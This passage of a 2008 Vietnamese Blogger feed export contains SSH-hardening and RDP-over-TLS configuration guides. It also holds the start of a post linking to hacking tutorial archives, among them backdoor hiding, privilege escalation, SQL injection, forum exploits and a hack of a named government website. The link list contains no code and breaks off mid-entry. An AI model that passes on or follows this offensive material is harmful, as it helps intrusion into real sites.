/&gt;&lt;br /&gt;3. Lời kết&lt;br /&gt;Trên đây chỉ là vài cấu hình cơ bản,Còn rất nhiều kiểu cấu hình mà tôi không đề cập (tùy thuộc vào hệ thống của bạn mà có cấu hình cho thích hợp).&lt;br /&gt;Chúc bạn thanh công.&lt;br /&gt;(st)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩ Chữ ký của ghost_vn ۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩&lt;br /&gt;&lt;br /&gt;*** Một người đi xe máy va phải chú sẻ bay ngược chiều. Anh ta dừng xe, thấy chưa chết bèn nhặt về đắp thuốc rồi thả vào lồng. Tỉnh lại, thấy mình bên song sắt, chú sẻ thở dài: - Bỏ mẹ. Mình đâm chết thằng đi xe máy rồi. Chắc tù mọt gông đây..pó tay con chim ***&lt;br /&gt;&lt;br /&gt;_.:: Nếu bài biết hay xin hãy kích Thank ::._&lt;br /&gt;&lt;br /&gt;url:http://haiphongit.com/forum/showthread.php?t=2830&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7839070010570067615-467907062227959300?l=nhim11.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nhim11.blogspot.com/feeds/467907062227959300/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7839070010570067615&amp;postID=467907062227959300' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/467907062227959300'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/467907062227959300'/><link rel='alternate' type='text/html' href='http://nhim11.blogspot.com/2008/09/pht-hin-v-chng-xm-nhp-web-server-vi-mod.html' title='Phát hiện và chống xâm nhập Web Server với Mod Security'/><author><name>DaiCa</name><uri>http://www.blogger.com/profile/04194429836072295672</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7839070010570067615.post-1378089258682230516</id><published>2008-09-11T21:31:00.001-07:00</published><updated>2008-09-11T21:31:54.869-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><category scheme='http://www.blogger.com/atom/ns#' term='SSH'/><category scheme='http://www.blogger.com/atom/ns#' term='secure SSH'/><title type='text'>Mẹo và thủ thuật bảo mật SSH nâng cao</title><content type='html'>Mẹo và thủ thuật bảo mật SSH nâng cao&lt;br /&gt;Mẹo và thủ thuật bảo mật SSH nâng cao&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Trong bài này, chúng tôi giới thiệu một số thủ thuật đơn giản giúp bạn nâng cao tính năng bảo mật cho dịch vụ Secure Shell (SSH). &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;File cấu hình server SSH được đặt trong thư mục /etc/ssh/sshd_conf. Bạn cần khởi động lại dịch vụ SSH sau mỗi lần thay đổi để các thay đổi đó được thực thi. &lt;br /&gt;&lt;br /&gt;Thay đổi cổng SSH &lt;br /&gt;&lt;br /&gt;Mặc định, SSH tuân theo các kết nối đến trên cổng 22. Kẻ tấn công thường sử dụng phần mềm quét cổng xem liệu các host (máy trạm) có sử dụng dịch vụ SSH không. Thay đổi cổng SSH lên cao hơn 1024 là một lựa chọn khôn ngoan, vì hầu hết mọi chương trình quét cổng (gồm cả nmap) mặc định đều rà soát được các cổng cao. &lt;br /&gt;&lt;br /&gt;Mở file /etc/ssh/sshd_config và tìm dòng có ghi:&lt;br /&gt;Port 22 &lt;br /&gt;Thay đổi số cổng và khởi động lại dịch vụ SSH:&lt;br /&gt;/etc/init.d/ssh restart &lt;br /&gt;Chỉ cho phép sử dụng giao thức SSH 2 &lt;br /&gt;&lt;br /&gt;Có hai loại giao thức SSH. Nếu chỉ dùng giao thức SSH 2 thì sẽ an toàn hơn nhiều vì SSH 1 thường gặp phải vấn đề bảo mật với kiểu tấn công man-in-the-middle và insertion. Mở file /etc/ssh/sshd_config và tìm dòng sau:&lt;br /&gt;Protocol 2,1 &lt;br /&gt;Thay đổi dòng thành protocol 2. &lt;br /&gt;&lt;br /&gt;Chỉ cho phép một số đối tượng người dùng đăng nhập qua SSH &lt;br /&gt;&lt;br /&gt;Bạn không nên cho phép người dùng root đăng nhập qua SSH, vì điều này gây nên mối đe doạ bảo mật lớn mà không cần thiết. Nếu một kẻ tấn công nào đó thu được đặc quyền root khi đăng nhập vào máy, khả năng phá hoại có thể gấp mấy lần người dùng thông thường. Bạn nên cấu hình server SSH không cho phép người dùng root đăng nhập. Đầu tiên, tìm dòng ghi:&lt;br /&gt;PermitRootLogin yes &lt;br /&gt;Thay đổi yes thành no và khởi động lại dịch vụ. Sau đó bạn có thể đăng nhập lại hệ thống với bất kỳ vai trò người dùng xác định nào đó và chuyển sang người dùng root nếu muốn trở thành siêu người dùng. &lt;br /&gt;&lt;br /&gt;Sẽ khôn ngoan hơn khi tạo một user cục bộ giả hoàn toàn không có đặc quyền gì trên hệ thống và dùng tên user đó để đăng nhập SSH. Sử dụng cách thức này sẽ giúp máy tính không bị hại dù tài khoản người dùng có bị xâm phạm. Khi tạo người dùng này, hãy chắc chắn nó phải nằm trong nhóm wheel để bạn có thể chuyển sang nhóm superuser (siêu người dùng) nếu cần. &lt;br /&gt;&lt;br /&gt;Nếu muốn tạo danh sách một số đối tượng người dùng được phép đăng nhập vào SSH, bạn có thể mô tả chúng trong file sshd_config. Ví dụ, nếu muốn cho phép người dùng anze, dasa, kimy đăng nhập qua SSH, ở cuối file sshd_config, thêm vào một dòng như sau:&lt;br /&gt;AllowUsers anze dasa kimy &lt;br /&gt;Tạo banner SSH tuỳ biến &lt;br /&gt;&lt;br /&gt;Nếu muốn mời một người dùng kết nối tới dịch vụ SSH để xem một thư nào đó, bạn có thể tạo banner SSH tuỳ biến. Thực hiện đơn giản bằng cách tạo một file text (trong ví dụ là file etc/ssh-banner.txt) và đặt bất kỳ kiểu thư text nào bạn có vào trong đó. Ví dụ:&lt;br /&gt;***************************************************************** &lt;br /&gt;*This is a private SSH service. You are not supposed to be here.* &lt;br /&gt;*Please leave immediately. * &lt;br /&gt;***************************************************************** &lt;br /&gt;Khi muốn chỉnh sửa hoặc ghi file, trong sshd_conf, tìm dòng ghi:&lt;br /&gt;#Banner /etc/issue.net &lt;br /&gt;Không cần bình luận về dòng trên mà hãy thay đổi đường dẫn tới file text banner SSH tuỳ biến của bạn. &lt;br /&gt;&lt;br /&gt;Sử dụng cơ chế thẩm định khoá công cộng DSA &lt;br /&gt;&lt;br /&gt;Thay vì sử dụng tên và mật khẩu khi đăng nhập vào SSH, bạn có thể dùng cơ chế thẩm định khoá công cộng DSA. Chú ý rằng bạn có thể sử dụng username, password và khoá DSA cùng một lúc. Sử dụng cơ chế thẩm định khoá công cộng DSA cho phép hệ thống ngăn chặn được kiểu tấn công theo sách vở, vì bạn có thể đăng nhập vào dịch vụ SSH mà không cần dùng đến tên và mật khẩu. Thay vào đó, bạn cần một cặp khoá DSA: một khoá chung (public) và một khoá riêng (private). Khoá riêng được giữ trên máy của bạn, còn khoá chung được đưa lên server. Khi muốn đăng nhập vào một phiên SSH, server sẽ kiểm tra khoá. Nếu tất cả thông số đều khớp, bạn được đưa vào hệ thống. Nếu khoá không khớp, kết nối bị ngắt.&lt;br /&gt;&lt;br /&gt;Ở ví dụ dưới đây, máy riêng sẽ kết nối tới máy chủ được đặt tên là station1 và máy chủ là server1. Trên cả hai máy đều có cùng một thư mục chủ (home folder). Chú ý là kết nối sẽ không hoạt động nếu thư mục chủ trên client và server khác nhau. Đầu tiên, tạo một cặp khoá trên máy riêng với lệnh ~$ ssh-keygen -t dsa. Bạn sẽ được nhắc cụm mật khẩu cho khoá riêng, nhưng hãy để trống, chúng ta chưa quan tâm đến phương thức này vội. Một cặp khoá được tạo: khoá riêng nằm trong ~/.ssh/id_dsa và khoá chung được đặt tại .ssh/id_dsa.pub. &lt;br /&gt;&lt;br /&gt;Tiếp theo, copy nội dung ~/.ssh/id_dsa.pub to server1 vào file ~/.ssh/authorized_keys. Nội dung trong ~/.ssh/id_dsa.pub có dạng:&lt;br /&gt;~$ cat .ssh/id_dsa.pub &lt;br /&gt;ssh-dss AAAAB3NzaC1kc3MAAACBAM7K7vkK5C90RsvOhiHDUROvYbNgr7YEqtrdfFCUVwMWcJYDusNG &lt;br /&gt;AIC0oZkBWLnmDu+y6ZOjNPOTtPnpEX0kRoH79maX8NZbBD4aUV91lbG7z604ZTdrLZVSFhCI/Fm4yROH &lt;br /&gt;Ge0FO7FV4lGCUIlqa55+QP9Vvco7qyBdIpDuNV0LAAAAFQC/9ILjqII7nM7aKxIBPDrQwKNyPQAAAIEA &lt;br /&gt;q+OJC8+OYIOeXcW8qcB6LDIBXJV0UT0rrUtFVo1BN39cAWz5puFe7eplmr6t7Ljl7JdkfEA5De0k3WDs &lt;br /&gt;9/rD1tJ6UfqSRc2qPzbn0p0j89LPIjdMMSISQqaKO4m2fO2VJcgCWvsghIoD0AMRC7ngIe6btaNIhBbq &lt;br /&gt;ri10RGL5gh4AAACAJj1/rV7iktOYuVyqV3BAz3JHoaf+H/dUDtX+wuTuJpl+tfDf61rbWOqrARuHFRF0 &lt;br /&gt;Tu/Rx4oOZzadLQovafqrDnU/No0Zge+WVXdd4ol1YmUlRkqp8vc20ws5mLVP34fST1amc0YNeBp28EQi &lt;br /&gt;0xPEFUD0IXzZtXtHVLziA1/NuzY= anze@station1.example.com &lt;br /&gt;Nếu file ~/.ssh/authorized_keys đã tồn tại, gắn thêm nội dung trong ~/.ssh/id_dsa.pub vào file ~/.ssh/authorized_keys trên server1. Bạn chỉ cần thực hiện một việc là thiết lập chính xác đặc quyền trong file ~/.ssh/authorized_keys trên server1:&lt;br /&gt;~$ chmod 600 ~/.ssh/authorized_keys &lt;br /&gt;Bây giờ cấu hình file sshd_conf để sử dụng cơ chế thẩm định khoá DSA. Hãy chắc chắn rằng bạn có ba dòng không chú thích sau:&lt;br /&gt;RSAAuthentication yes &lt;br /&gt;PubkeyAuthentication yes &lt;br /&gt;AuthorizedKeysFile %h/.ssh/authorized_keys &lt;br /&gt;Khởi động lại dịch vụ. Nếu mọi thứ đã được cấu hình chính xác, bạn đã có thể sử dụng SSH cho server và đặt trực tiếp nó vào thư mục chủ mà không cần bất kỳ tương tác nào khác. &lt;br /&gt;&lt;br /&gt;Nếu muốn chỉ sử dụng duy nhất một cơ chế thẩm định DSA, không cần chú thích hay thay đổi dòng PasswordAuthentication trong file sshd_config từ yes thành no:&lt;br /&gt;PasswordAuthentication no &lt;br /&gt;Nếu ai đó cố gắng kết nối tới dịch vụ SSH mà không có khoá chung trên server, anh ta sẽ bị từ chối và thậm chí không được đưa nền đăng nhập ra với thông báo lỗi:&lt;br /&gt;Permission denied (publickey). &lt;br /&gt;Sử dụng các hàm bao TCP để cho phép chỉ một số host được kết nối &lt;br /&gt;&lt;br /&gt;Phương thức trên sẽ rất hữu ích nều bạn muốn giới hạn số host trên mạng có thể kết nối tới dịch vụ SSH. Nhưng nó không thể sử dụng hoặc kết hợp được với cấu hình các bảng IP (iptable). Thay vào đó, bạn có thể dùng các hàm bao TCP, cụ thể là sshd TCP. Bạn có thể đưa ra quy tắc chỉ cho phép một số host nhất định trên mạng con cục bộ (local subnet) 192.168.1.0/24 và host từ xa 193.180.177.13 kết nối tới dịch vụ SSH. &lt;br /&gt;&lt;br /&gt;Các hàm bao TCP mặc định đầu tiên sẽ xem trong file /etc/hosts.deny danh sách các host bị từ chối kết nối tới dịch vụ. Tiếp theo là file /etc/hosts để xem liệu có quy tắc nào cho phép một số host kết nối tới một dịch vụ đặc biệt nào đó không. Ví dụ, tôi sẽ tạo một quy tắc như vậy trong tư mục /etc/hosts.deny:&lt;br /&gt;sshd: ALL &lt;br /&gt;Quy tắc trên có nghĩa là, mặc định tất cả các host đều bị cấm truy cập dịch vụ SSH. Điều này là cần thiết, vì nếu không tất cả các host ở đây đều có quyền truy cập dịch vụ SSH. Do hàm bao TCP đầu tiên sẽ xem xét trong file hosts.deny, nếu không có quy tắc nào liên quan đến ngăn chặn sử dụng dịch vụ SSH, bất kỳ host nào cũng có thể đến nôi đến nó. Tiếp theo, tạo một quy tắc trong /etc/hosts để cho phép chỉ một số host cụ thể (như được định nghĩa ở trên) sử dụng dịch vụ SSH:&lt;br /&gt;sshd: 192.168.1 193.180.177.13 &lt;br /&gt;Bây giờ, chỉ có các host trên mạng 192.168.1.0/24 và host 193.180.177.13 mới có quyền truy cập dịch vụ SSH. Tất cả host khác đều bị ngắt kết nối trước khi được đăng nhập và nhận một thông báo lỗi như sau:&lt;br /&gt;ssh_exchange_identification: Connection closed by remote host &lt;br /&gt;Sử dụng iptables để giới hạn số lượng host được kết nối &lt;br /&gt;&lt;br /&gt;Một lựa chọn khác ngoài các hàm bao TCP là giới hạn truy cập SSH với iptables (các bảng địa chỉ IP). Song, bạn có thể sử dụng kết hợp cả hai phương thức này cùng một lúc. Dưới đây là một ví dụ đơn giản về cách cho phép một số host nhất định kết nối tới SSH:&lt;br /&gt;~# iptables -A INPUT -p tcp -m state --state NEW --source 193.180.177.13 --dport 22 -j ACCEPT &lt;br /&gt;Và để chắc chắn rằng không có host nào khác được truy cập dịch vụ SSH:&lt;br /&gt;~# iptables -A INPUT -p tcp --dport 22 -j DROP &lt;br /&gt;Ghi lại một số quy tắc mới và hoàn chỉnh công việc. &lt;br /&gt;&lt;br /&gt;Một số mẹo thời gian SSH &lt;br /&gt;&lt;br /&gt;Bạn có thể dùng các tham số iptables khác để giới hạn kết nối tới dịch vụ SSH trong một khoảng thời gian nhất định. Kiểu thời gian có thể là giây, phút, giờ, hoặc ngày (/second, /minute, /hour, /day ), như ví dụ dưới đây. &lt;br /&gt;&lt;br /&gt;Ở ví dụ đầu, nếu người dùng nhập mật khẩu sai, truy cập vào dịch vụ SSH sẽ bị khoá trong một phút. Và sau đó người dùng chỉ được phép gõ thông tin đăng nhập vào sau từng phút:&lt;br /&gt;~# iptables -A INPUT -p tcp -m state --syn --state NEW --dport 22 -m limit --limit 1/minute --limit-burst 1 -j ACCEPT &lt;br /&gt;~# iptables -A INPUT -p tcp -m state --syn --state NEW --dport 22 -j DROP &lt;br /&gt;Trong ví dụ thứ hai, iptables được thiết lập chỉ cho phép host 193.180.177.13 kết nối tới dịch vụ SSH. Sau ba lần đăng nhập thất bại, iptables chỉ cho phép host đăng nhập lại sau từng phút:&lt;br /&gt;~# iptables -A INPUT -p tcp -s 193.180.177.13 -m state --syn --state NEW --dport 22 -m limit --limit 1/minute --limit-burst 1 -j ACCEPT &lt;br /&gt;~# iptables -A INPUT -p tcp -s 193.180.177.13 -m state --syn --state NEW --dport 22 -j DROP &lt;br /&gt;Kết luận &lt;br /&gt;&lt;br /&gt;Các thành phần này không khó cầu hình, nhưng chúng là những kỹ thuật rất mạnh trong chế độ bảo mật dịch vụ SSH. Bỏ ra chút thời gian đầu tư, bạn sẽ có được giấc ngủ ngon. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩ Chữ ký của ghost_vn ۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩۩&lt;br /&gt;&lt;br /&gt;urlhttp://haiphongit.com/forum/showthread.php?t=2105&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7839070010570067615-1378089258682230516?l=nhim11.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nhim11.blogspot.com/feeds/1378089258682230516/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7839070010570067615&amp;postID=1378089258682230516' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/1378089258682230516'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/1378089258682230516'/><link rel='alternate' type='text/html' href='http://nhim11.blogspot.com/2008/09/mo-v-th-thut-bo-mt-ssh-nng-cao.html' title='Mẹo và thủ thuật bảo mật SSH nâng cao'/><author><name>DaiCa</name><uri>http://www.blogger.com/profile/04194429836072295672</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7839070010570067615.post-5926988395482115594</id><published>2008-09-11T20:06:00.000-07:00</published><updated>2008-09-11T21:11:38.568-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SSL'/><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Remote Desktop'/><title type='text'>Tăng Độ Bảo Mật Khi Remote Desktop Bằng SSL</title><content type='html'>Tăng Độ Bảo Mật Khi Remote Desktop Bằng SSL&lt;br /&gt;I. Giới Thiệu&lt;br /&gt;- Mặc định Terminal server dùng chế độ mã hóa native RDP . Chế độ này không chứng thực server . Do đó để gia tăng tính bảo mật khi remote desktop thì chúng ta sẽ sử dụng Transport Layer Security (TLS) version 1.0 . Với chế độ này chúng ta có thể mã hóa và chứng thực máy remote tới server&lt;br /&gt;&lt;br /&gt;II. Chuẩn bị&lt;br /&gt;- Máy client phải là windows XP or window 2000 và phải cài RDP 5.2 . Download tại đây : http://nhatnghe.com/tailieu/remote_ssl/tool/rdp.msi&lt;br /&gt;&lt;br /&gt;- Máy Terminal server phải là windows server 2003 SP1 trở lên . Phải cài các component sau : ( phải cài theo thứ tự )&lt;br /&gt;* ASP.net&lt;br /&gt;* IIS&lt;br /&gt;* Stand alone – CA&lt;br /&gt;&lt;br /&gt;III. Thực Hiện&lt;br /&gt;&lt;br /&gt;A. Cấu hình trên máy Terminal Server&lt;br /&gt;&lt;br /&gt;• Cài đặt Certificate&lt;br /&gt;&lt;br /&gt;B1 : Mở Internet explorer : đánh vào địa chỉ http://IP_máy_server/certsrv&lt;br /&gt;B2 : Chọn Request a certificate &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;B3 : Chọn Advanced Certificate Request&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;B4: Chọn Create and submite a request to this CA&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;B5 : Điền thông tin trong phần Identifying Information giống như trong hình . &lt;br /&gt;***** Phần name rất quan trọng . Nếu bạn muốn client remote bằng tên gì thì tên CA phải để giống như vậy. Ví dụ nếu muốn remote qua đường internet thì chỗ này phải để con IP tĩnh , or domain , or host cập nhật IP động . Còn làm test trong lan chơi thì chỗ này hoặc là để IP hoặc là để tên máy tính ( tùy vào việc muốn client remote tới server bằng cái gì )&lt;br /&gt;- Type of certificate needed : Chọn Server Authentication Certificate&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Cuộn xuống dưới :&lt;br /&gt;- CSP : chọn Microsoft RSA SChannnel Cryptographic Provider&lt;br /&gt;- Chọn mục Mark keys as exportable&lt;br /&gt;- Chọn mục Store certificate in the local computer certificate store&lt;br /&gt;- Chọn Submite &gt; Yes&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;B6 : Start &gt; Program &gt; Administrative tools &gt; Certification Authority &gt; Chọn Pending Request&lt;br /&gt;B7 : Chuột phải lên CA trong đây &gt; All tasks &gt; Issue&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;B8 : Mở IE &gt; truy cập http://IP_máy_server/certsrv&lt;br /&gt;Chọn View the status of a pending certificate request&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Chọn Server Authentication Certificate &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Chọn install this certificate &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Chọn yes&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;• Cấu hình Transport Layer Security : chứng thực và mã hóa&lt;br /&gt;&lt;br /&gt;B1 : Start &gt; Program &gt; Administrative tools &gt; Terminal Services Configuration&lt;br /&gt;B2 : Trong khung bên trái chọn connection &gt; Khung bên phải : chuột phải RDP-tcp &gt; chọn Properties&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;B3 : Trong tab General &gt; Chọn Edit &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;B4 : Chọn CA đã xin &gt; Ok &gt; OK&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;B5 : Trong phần security layer có 3 lựa chọn :&lt;br /&gt;*RDP Security Layer : chế độ mặc định khi remote desktop thông thường&lt;br /&gt;*Negotiate : Chế độ này sẽ dùng TLS để chứng thực máy client , tuy nhiên nếu máy client không hỗ trợ TLS thì máy đó sẽ không được chứng thực&lt;br /&gt;*SSL : Chế độ này sẽ dùng TLS để chứng thực máy client , nếu máy client không hỗ trợ TLS thì sẽ không thể tạo kết nối tới server&lt;br /&gt;&lt;br /&gt;- Ở đây chúng ta dùng chế độ SSl&lt;br /&gt;- Nếu dùng SSL or Negotiate thì trong phần encrytion level phải chọn là High . Ở chế độ high này thì đường truyền sẽ được mã hóa ở chế độ 128 bit &lt;br /&gt;- Đánh dấu chọn vào mục “Use standard Windows logon interface”&lt;br /&gt;&lt;br /&gt;B. Download CA từ máy Server và import vào client &lt;br /&gt;&lt;br /&gt;Thực hiện trên Server &lt;br /&gt;B1 : Mở IE đánh địa chỉ : http://localhost/certsrv&lt;br /&gt;B2 : Chọn Download a CA certificate , certificate chain , or CLS&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;B3 : Chọn Download a certificate &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;B4 : Chọn Save &gt; chọn nơi lưu &gt; copy file mới save dzô USB để dành &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Thực hiện trên client :&lt;br /&gt;B1 : Mở start &gt; run &gt; đánh lệnh MMC&lt;br /&gt;B2 : Menu File &gt; Chọn add/remove spap-in &gt; chọn Add&lt;br /&gt;B3 :Chọn Certificates&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;B4 : Chọn Computer accounts &gt; next &gt; Finish&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;B5 : Chỉnh Regedit &gt; Start &gt; run &gt; regedit &gt; tìm đến khóa HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Terminal Server Client&lt;br /&gt;&lt;br /&gt;- Chuột phải lên Terminal Server Client &gt; chọn New &gt; Dword value &gt; Sửa tên giá trị mới tạo thành AuthenticationLevelOverride&lt;br /&gt;&lt;br /&gt;- Double click vào AuthenticationLevelOverride &gt; Trong ô value data đánh vào gía trị : 1&lt;br /&gt;&lt;br /&gt;B6 : Kiểm tra : Start &gt; program &gt; remote desktop connection ( anh nào mở start &gt; run &gt; oánh mstsc &gt;Có thể nó ra phiên bản RDP cũ hổng chạy ráng chịu  )&lt;br /&gt;&lt;br /&gt;B7 : Trong cửa sổ remote connection &gt; chọn option &gt; qua tab security &gt; Quan sát trong mục Authentication &gt; là Required Authentication &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;B8: Qua tab General &gt; điền vào phần computer cái tên CA mà bạn đã xin trên server ( tên máy tính , IP …. ) &gt; chọn connect&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;B9 : Remote thành công &gt; quan sát thấy đường truyền giữa client và server đã được mã hóa ( cái biểu tượng khóa màu vàng á  )&lt;br /&gt;&lt;br /&gt;Ngồn : Nhatnghe&lt;br /&gt;&lt;br /&gt;url:http://haiphongit.com/forum/showthread.php?t=2842&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7839070010570067615-5926988395482115594?l=nhim11.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nhim11.blogspot.com/feeds/5926988395482115594/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7839070010570067615&amp;postID=5926988395482115594' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/5926988395482115594'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/5926988395482115594'/><link rel='alternate' type='text/html' href='http://nhim11.blogspot.com/2008/09/tng-bo-mt-khi-remote-desktop-bng-ssl.html' title='Tăng Độ Bảo Mật Khi Remote Desktop Bằng SSL'/><author><name>DaiCa</name><uri>http://www.blogger.com/profile/04194429836072295672</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7839070010570067615.post-3478567647798990471</id><published>2008-09-11T19:37:00.001-07:00</published><updated>2008-09-11T19:37:34.615-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking Videos'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>bộ sưu tập tổng hợp link down các video dạy hack</title><content type='html'>bộ sưu tập tổng hợp link down các video dạy hack&lt;br /&gt;có thể 1 số link đã die mong ae thông cảm dùm,link nào die ae kiếm cái khác fix dùm nha&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1&gt; http://warezshare.com/download.php?f...df7d54a71f7663&lt;br /&gt;2&gt; http://thanhnamhp.com.vn/cfm.rar&lt;br /&gt;3&gt; http://www.filenanny.com/files/46ecc.../Hacklocal.rar&lt;br /&gt;bug local backup data&lt;br /&gt;4&gt; http://www.mediamax.com/vipundergrou...kup%20data.zip&lt;br /&gt;5&gt;hack shop cfm&lt;br /&gt;http://www.mediamax.com/vipundergroup/Hosted/cfm.rar&lt;br /&gt;6&gt;down load hack&lt;br /&gt;http://www.mediamax.com/vipundergrou...d/download.rar&lt;br /&gt;7&gt;bug esyndicat&lt;br /&gt;http://www.mediamax.com/vipundergrou..._esyndicat.rar&lt;br /&gt;8&gt;bug ezupload&lt;br /&gt;http://www.mediamax.com/vipundergrou...upload-leo.rar&lt;br /&gt;9&gt;file manager bug&lt;br /&gt;http://www.mediamax.com/vipundergrou...le_Manager.rar&lt;br /&gt;10&gt;get root 1&lt;br /&gt;http://www.mediamax.com/vipundergrou...d/getroot1.rar&lt;br /&gt;11&gt;get root2&lt;br /&gt;http://www.mediamax.com/vipundergrou...d/getroot2.rar&lt;br /&gt;12&gt;get root3&lt;br /&gt;http://www.mediamax.com/vipundergrou...d/getroot3.rar&lt;br /&gt;13&gt;Hacking vbb 3.6.6 bug XSS&lt;br /&gt;http://www.mediamax.com/vipundergrou...g%20XXS%29.rar&lt;br /&gt;14&gt;hide backdoor1&lt;br /&gt;http://www.mediamax.com/vipundergrou...0backdoor1.rar&lt;br /&gt;15&gt;hide backdoor2&lt;br /&gt;http://www.mediamax.com/vipundergrou...0backdoor2.rar&lt;br /&gt;16&gt;how i get free host (hack host demo)&lt;br /&gt;http://www.mediamax.com/vipundergrou...etfreehost.rar&lt;br /&gt;17&gt;Invision_Power_Board_2[1].1.7_Password_Change_Demonstration&lt;br /&gt;http://www.mediamax.com/vipundergrou..._Power_Board_2&lt;br /&gt;18&gt;local hack1&lt;br /&gt;http://www.mediamax.com/vipundergrou...al%20hack1.rar&lt;br /&gt;19&gt;local hack2&lt;br /&gt;http://www.mediamax.com/vipundergrou...al%20hack2.rar&lt;br /&gt;20&gt;local hack3&lt;br /&gt;http://www.mediamax.com/vipundergrou...al%20hack3.rar&lt;br /&gt;21&gt;Phim huong dan hack co ban nhat&lt;br /&gt;http://www.mediamax.com/vipundergrou...dan%20hack.rar&lt;br /&gt;22&gt;phpbb&lt;br /&gt;http://www.mediamax.com/vipundergroup/Hosted/phpbb.rar&lt;br /&gt;23&gt;Remote destop hack&lt;br /&gt;http://www.mediamax.com/vipundergrou...Remote-vnc.rar&lt;br /&gt;24&gt;rEmOtEr_VS_Microsoft&lt;br /&gt;http://www.mediamax.com/vipundergrou..._Microsoft.rar&lt;br /&gt;25&gt;SQL injection1&lt;br /&gt;http://www.mediamax.com/vipundergrou...Linjection.rar&lt;br /&gt;26&gt;SQL injection2&lt;br /&gt;http://www.mediamax.com/vipundergrou...injection2.rar&lt;br /&gt;27&gt;how to hack thanhhoa.gov.vn&lt;br /&gt;http://www.mediamax.com/vipundergrou...d/thanhhoa.rar&lt;br /&gt;28&gt;upload hack1&lt;br /&gt;http://www.mediamax.com/vipundergrou...ed/upload1.rar&lt;br /&gt;29&gt;upload hack2&lt;br /&gt;http://www.mediamax.com/vipundergrou...ed/upload2.rar&lt;br /&gt;30&gt;upload hack3&lt;br /&gt;http://www.mediamax.com/vipundergrou...ed/upload3.rar&lt;br /&gt;31&gt;vbb 3.5.x bug ugrade&lt;br /&gt;http://www.mediamax.com/vipundergrou...g%20ugrade.rar&lt;br /&gt;32&gt;video fake ip&lt;br /&gt;http://www.mediamax.com/vipundergrou...0fake%20ip.rar&lt;br /&gt;windows exploit&lt;br /&gt;33&gt;http://www.mediamax.com/vipundergrou...ws-exploit.rar&lt;br /&gt;34&gt;xsst unnelling-video&lt;br /&gt;http://www.mediamax.com/vipundergrou...ling-video.zip&lt;br /&gt;35&gt;Yahoo Fake [FuLL ViDEO bY HeliOs]&lt;br 